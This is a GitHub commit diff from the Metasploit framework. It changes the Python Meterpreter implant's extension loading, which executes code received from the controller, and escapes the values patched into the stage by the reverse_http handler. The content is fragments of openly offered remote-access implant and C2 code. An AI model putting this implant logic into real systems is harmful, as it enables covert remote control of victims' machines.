Skip to content

Commit e562883

Browse files
committed
Escape inserted vars and fix core_loadlib
1 parent 7c14e81 commit e562883

File tree

3 files changed

+24
-9
lines changed

3 files changed

+24
-9
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -501,6 +501,8 @@ class RTATTR(ctypes.Structure):
501501
IFA_ADDRESS = 1
502502
IFA_LABEL = 3
503503

504+
meterpreter.register_extension('stdapi')
505+
504506
def calculate_32bit_netmask(bits):
505507
if bits == 32:
506508
return 0xffffffff

data/meterpreter/meterpreter.py

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -313,6 +313,7 @@ def __init__(self, socket=None):
313313
self.driver = 'tcp'
314314
elif HTTP_CONNECTION_URL:
315315
self.driver = 'http'
316+
self.last_registered_extension = None
316317
self.extension_functions = {}
317318
self.channels = {}
318319
self.interact_channels = []
@@ -331,6 +332,10 @@ def driver_init_http(self):
331332
urllib.install_opener(opener)
332333
self._http_last_seen = time.time()
333334

335+
def register_extension(self, extension_name):
336+
self.last_registered_extension = extension_name
337+
return self.last_registered_extension
338+
334339
def register_function(self, func):
335340
self.extension_functions[func.__name__] = func
336341
return func
@@ -485,15 +490,19 @@ def _core_loadlib(self, request, response):
485490
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
486491
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
487492
return ERROR_FAILURE
488-
preloadlib_methods = list(self.extension_functions.keys())
493+
494+
self.last_registered_extension = None
489495
symbols_for_extensions = {'meterpreter':self}
490496
symbols_for_extensions.update(EXPORTED_SYMBOLS)
491497
i = code.InteractiveInterpreter(symbols_for_extensions)
492498
i.runcode(compile(data_tlv['value'], '', 'exec'))
493-
postloadlib_methods = list(self.extension_functions.keys())
494-
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
495-
for method in new_methods:
496-
response += tlv_pack(TLV_TYPE_METHOD, method)
499+
extension_name = self.last_registered_extension
500+
501+
if extension_name:
502+
check_extension = lambda x: x.startswith(extension_name) or x.startswith('channel_open_' + extension_name)
503+
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
504+
for method in lib_methods:
505+
response += tlv_pack(TLV_TYPE_METHOD, method)
497506
return ERROR_SUCCESS, response
498507

499508
def _core_shutdown(self, request, response):

lib/msf/core/handler/reverse_http.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -201,11 +201,15 @@ def on_request(cli, req, obj)
201201
blob = ""
202202
blob << obj.generate_stage
203203

204+
var_escape = lambda { |txt|
205+
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
206+
}
207+
204208
# Patch all the things
205-
blob = blob.sub("HTTP_CONNECTION_URL = None", "HTTP_CONNECTION_URL = '#{url}'")
206-
blob = blob.sub("HTTP_EXPIRATION_TIMEOUT = 604800", "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
207-
blob = blob.sub("HTTP_COMMUNICATION_TIMEOUT = 300", "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
208-
blob = blob.sub("HTTP_USER_AGENT = None", "HTTP_USER_AGENT = '#{datastore['MeterpreterUserAgent']}'")
209+
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
210+
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
211+
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
212+
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
209213

210214
resp.body = blob
211215

0 commit comments

Comments
 (0)